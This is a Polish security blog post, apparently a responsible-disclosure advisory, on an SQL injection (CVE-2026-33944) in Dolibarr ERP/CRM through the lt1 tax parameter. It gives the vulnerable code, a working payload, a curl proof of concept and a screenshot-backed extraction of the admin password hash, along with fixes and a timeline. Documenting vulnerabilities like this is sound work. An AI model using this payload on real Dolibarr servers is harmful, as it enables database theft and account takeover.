Powrót do bloga

CVE-2026-33944 SQL Injection w Dolibarr ERP/CRM — Third Party Update

16 czerwca 2026 Grzegorz Tworek 12 min czytania

SQL Injection w Dolibarr ERP/CRM v23.0.0 — parametr localtax1_value trafia bezpośrednio do zapytania SQL UPDATE bez sanityzacji. Pełna eksfiltracja bazy danych, w tym haszy haseł administratora. CVSS 3.1: 8.8 (HIGH).

CVE-2026-33944 SQL Injection w Dolibarr ERP/CRM — Third Party Update

CVE-2026-33944 — SQL Injection w Dolibarr ERP/CRM via localtax1_value parameter

Responsible Disclosure: Podatność została zgłoszona do zespołu Dolibarr poprzez GitHub Security Advisory i zaakceptowana przez producenta. Poprawka została publicznie wydana przed publikacją niniejszego artykułu. W momencie publikacji GitHub Security Advisory GHSA-v5fq-cf5m-vwv7 pozostaje nieopublikowane, pomimo dostępnej poprawki. Researcher: Grzegorz Tworek (Sec4check). Jeśli korzystasz z Dolibarr, upewnij się, że Twoja instancja została zaktualizowana.

Podsumowanie

Podczas niezależnych badań bezpieczeństwa zidentyfikowałem podatność typu SQL Injection w funkcji aktualizacji kontrahentów (Third Party) w Dolibarr ERP/CRM. Podatność dotyczy najnowszej wersji v23.0.0 oraz prawdopodobnie wszystkich wcześniejszych wersji. Reprodukcja została przeprowadzona na czystej, domyślnej instalacji Dolibarr (oficjalny obraz Docker) z bazą MariaDB 10.11.

Istota problemu: parametr lt1 (local tax 1 value) jest przekazywany z danych wejściowych użytkownika bezpośrednio do zapytania SQL UPDATE w pliku societe/class/societe.class.php na linii 1672 — bez żadnego escape'owania, rzutowania typów czy parametryzacji zapytania.

Co istotne, sąsiednie pola w tym samym zapytaniu SQL (np. localtax1_assuj) są poprawnie rzutowane na (int) lub escapowane przez $db->escape(), co wskazuje, że deweloperzy byli świadomi ryzyka injection, ale nie zastosowali tej samej ochrony do pól z wartościami podatku.

TypCWE-89: SQL Injection
ProduktDolibarr ERP/CRM
Testowana wersjav23.0.0 (najnowsza stabilna, marzec 2026)
PlatformaDocker (oficjalny obraz dolibarr/dolibarr), MariaDB 10.11
Komponentsociete/card.php + societe/class/societe.class.php
Wektor atakuSieć (uwierzytelniony POST request)
Interakcja użytkownikaBrak (atakujący exploituje bezpośrednio)
CVSS 3.18.8 HIGH
Wektor CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Analiza techniczna

Przyczyna źródłowa (Root Cause)

Podatność znajduje się w pliku societe/class/societe.class.php. Przepływ danych wygląda następująco:

1. Wejście (societe/card.php, linia 1135):

$object->localtax1_value = GETPOST('lt1', 'alpha');

2. Sanityzacja (societe.class.php, linia 1528) — niewystarczająca:

$this->localtax1_value = trim($this->localtax1_value); // Tylko trim()!

3. Sink SQL (societe.class.php, linia 1672) — bezpośrednia konkatenacja:

$sql .= ",localtax1_value =".$this->localtax1_value; // Brak escape, brak rzutowania!

Filtr wejściowy alpha usuwa tagi HTML i podwójne cudzysłowy, ale nie usuwa apostrofów, nawiasów, przecinków, spacji ani słów kluczowych SQL. Ponieważ injection point znajduje się w numerycznym kontekście SQL (wartość nie jest otoczona cudzysłowami), atakujący nie potrzebuje żadnych znaków, które filtr usuwa.

Kluczowa obserwacja: WAF Dolibarr (waf.inc.php) sprawdza wzorce SQL injection wyłącznie w parametrach GET, nie POST. Parametr lt1 przesyłany przez POST omija WAF całkowicie. Ta sama podatność istnieje dla localtax2_value (parametr lt2) na linii 1682.

Kroki reprodukcji

  1. Zainstaluj Dolibarr v23.0.0 (testowane z oficjalnym obrazem Docker, MariaDB 10.11)
  2. Zaloguj się użytkownikiem z uprawnieniem „Kontrahenci: Tworzenie/Edycja" (standardowy użytkownik, nie admin)
  3. Utwórz lub otwórz dowolny rekord kontrahenta (Third Party)
  4. Kliknij „Edytuj" aby otworzyć formularz aktualizacji
  5. Przechwyć request POST (np. Burp Suite) i dodaj do body następujące parametry:
    localtax1assuj_value=1
    lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)
  6. Wyślij formularz (serwer odpowiada HTTP 302 Found — aktualizacja powiodła się)
  7. Przejdź do zakładki „Uwagi" kontrahenta — hash MD5 hasła administratora jest teraz widoczny w polu „Uwaga (prywatna)"

Weryfikacja: echo -n "admin123" | md5sum0192023a7bbd73250516f069df18b500 (identyczny z wyekstrahowanym hashem).

PoC (curl)

curl -b cookies.txt \ --data-urlencode "action=update" \ --data-urlencode "token=CSRF_TOKEN" \ --data-urlencode "socid=1" \ --data-urlencode "name=TestCompany" \ --data-urlencode "status=1" \ --data-urlencode "localtax1assuj_value=1" \ --data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \ --data-urlencode "client=1" \ --data-urlencode "typent_id=0" \ "http://TARGET/societe/card.php?socid=1"

Dowody (Evidence)

Środowisko testowe: Dolibarr v23.0.0, oficjalny obraz Docker, MariaDB 10.11, macOS host.

Przed exploitacją — zakładka Uwagi (puste pole)

Dolibarr Notes tab before exploitation — Private Note field is empty

Zakładka Uwagi przed exploitacją — pole „Uwaga (prywatna)" jest puste. Dolibarr v23.0.0, konfiguracja domyślna.

Burp Suite Repeater — nagłówki żądania POST i odpowiedź 302

Burp Suite Repeater showing full POST request headers and HTTP 302 Found response

Burp Suite Repeater — pełny request POST do /societe/card.php z odpowiedzią HTTP/1.1 302 Found potwierdzającą pomyślną aktualizację.

Burp Suite Repeater — payload w body żądania

Burp Suite Repeater showing injected localtax1assuj_value and lt1 parameters with SQL subquery

Body żądania z wstrzykniętymi parametrami: localtax1assuj_value=1 (linia 181) oraz lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1) (linia 187). Subquery SQL jest przekazywane bez sanityzacji.

Po exploitacji — hash hasła administratora w polu Uwaga (prywatna)

Dolibarr Notes tab after exploitation — Private Note contains admin password MD5 hash 0192023a7bbd73250516f069df18b500

Zakładka Uwagi po exploitacji — „Uwaga (prywatna)" zawiera 0192023a7bbd73250516f069df18b500, czyli hash MD5 hasła administratora („admin123"), wyekstrahowany z llx_user.pass_crypted poprzez SQL injection.

Dodatkowe dowody arytmetyczne

Ewaluacja arytmetyczna: Wysłanie lt1=3+4 powoduje zapisanie w bazie localtax1_value=7.0000. Wyrażenie 3+4 zostało obliczone przez silnik SQL, a nie zapisane jako literalny string — jednoznaczny dowód na SQL injection.

Ocena wpływu (Impact Assessment)

Atakujący z podstawowym uprawnieniem „Kontrahenci: Tworzenie/Edycja" (standardowy użytkownik, nie administrator) może w pełni skompromitować instancję Dolibarr:

Pełny odczyt bazy danych

Wyciągnięcie dowolnych danych z bazy: hasze haseł (pass_crypted), klucze API (api_key), dane klientów i dostawców, faktury, szczegóły kont bankowych, wewnętrzne notatki.

Modyfikacja danych

Wstrzyknięcie dodatkowych klauzul SET do zapytania UPDATE umożliwia modyfikację dowolnych rekordów w bazie danych — jak zademonstrowano z polem note_private.

Eskalacja uprawnień

Wyciągnięcie i złamanie hashy haseł administratora. Dolibarr domyślnie używa niesolonego MD5, co czyni łamanie trywialne (rainbow tables, hashcat).

Potencjalne RCE

Po eskalacji do admina — dostęp do modułu Website (PHP injection) lub ModuleBuilder (zapis plików PHP). Potencjalnie również przez funkcje MariaDB (INTO OUTFILE, UDF).

CVSS 3.1 — szczegółowa punktacja

MetrykaWartość
Attack VectorNetwork — exploitowane przez HTTP POST
Attack ComplexityLow — brak specjalnych warunków
Privileges RequiredLow — standardowy użytkownik z uprawnieniem edycji kontrahentów
User InteractionNone — atakujący exploituje endpoint bezpośrednio
ScopeUnchanged — wpływ ograniczony do aplikacji Dolibarr
ConfidentialityHigh — pełny odczyt bazy danych (hasła, dane biznesowe)
IntegrityHigh — możliwość modyfikacji dowolnego rekordu przez injection
AvailabilityHigh — możliwość DROP tabel lub uszkodzenia danych krytycznych

CVSS 3.1 Score: 8.8 (HIGH)
Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Rekomendowana remediacja

Wymagane poprawki:

  1. Rzutowanie typów na wejściu (societe.class.php, linia 1528):
    $this->localtax1_value = (float) price2num(trim($this->localtax1_value));
  2. Rzutowanie typów w zapytaniu SQL (societe.class.php, linia 1672):
    $sql .= ",localtax1_value =".((float) $this->localtax1_value);
  3. Analogiczne poprawki dla localtax2_value (linie 1529 i 1682)

Dodatkowe rekomendacje: rozszerzenie WAF o kontrolę wzorców SQLi w parametrach POST, zmiana algorytmu hashowania haseł z niesolonego MD5 na bcrypt/argon2 w celu zmniejszenia wpływu przyszłych podatności umożliwiających eksfiltrację danych.

Oś czasu (Disclosure Timeline)

DataZdarzenie
2026-03-20Odkrycie podatności podczas niezależnych badań bezpieczeństwa
2026-03-20Zgłoszenie poprzez GitHub Security Advisory (GHSA-v5fq-cf5m-vwv7)
2026-03-23Producent zaakceptował zgłoszenie
2026-03-25GitHub przydzielił CVE-2026-33944
2026-05-26Producent opublikował poprawkę w Dolibarr 22.0.5 (release notes zawierają GHSA-v5fq-cf5m-vwv7)
2026-06-16Publikacja artykułu po wydaniu poprawki
2026-06-16GitHub Security Advisory nadal pozostaje nieopublikowane

Wnioski

Ta podatność jest klasycznym przykładem niespójnej sanityzacji danych — jednego z najczęstszych wzorców prowadzących do SQL injection. Deweloperzy zastosowali poprawne rzutowanie (int) dla pola localtax1_assuj w tym samym bloku kodu, ale pominęli pola z wartościami podatku, prawdopodobnie ze względu na założenie, że filtr alpha zapewnia wystarczającą ochronę.

Przypadek ten ilustruje kilka kluczowych zasad:

  • Obrona w głąb (defense-in-depth) — WAF sprawdzający tylko GET nie jest wystarczający; każda warstwa musi zakładać, że poprzednia zawiodła
  • Parametryzacja zapytań — konkatenacja stringów w zapytaniach SQL nigdy nie jest bezpieczna, niezależnie od filtrów wejściowych
  • Spójność mechanizmów obronnych — jeśli rzutujesz typ w jednym polu, musisz to zrobić we wszystkich polach tego samego kontekstu
  • Audyt kodu „wokół" poprawek — znalezienie jednego bezpiecznego pola powinno skłonić do sprawdzenia wszystkich sąsiednich pól

Kluczowy takeaway: Filtry wejściowe (jak alpha) nie są substytucją dla parametryzacji zapytań SQL. W numerycznym kontekście SQL (bez cudzysłowów) atakujący nie potrzebuje żadnych „specjalnych" znaków — wystarczą litery, nawiasy i przecinki, które większość filtrów przepuszcza.

Szukasz podatności w swojej aplikacji?

Jako niezależny badacz bezpieczeństwa i pentester, pomagam organizacjom identyfikować i eliminować podatności, zanim zrobią to atakujący. Oferuję profesjonalne testy penetracyjne aplikacji webowych zgodne z OWASP ASVS.

Umów bezpłatną konsultację
Powrót do bloga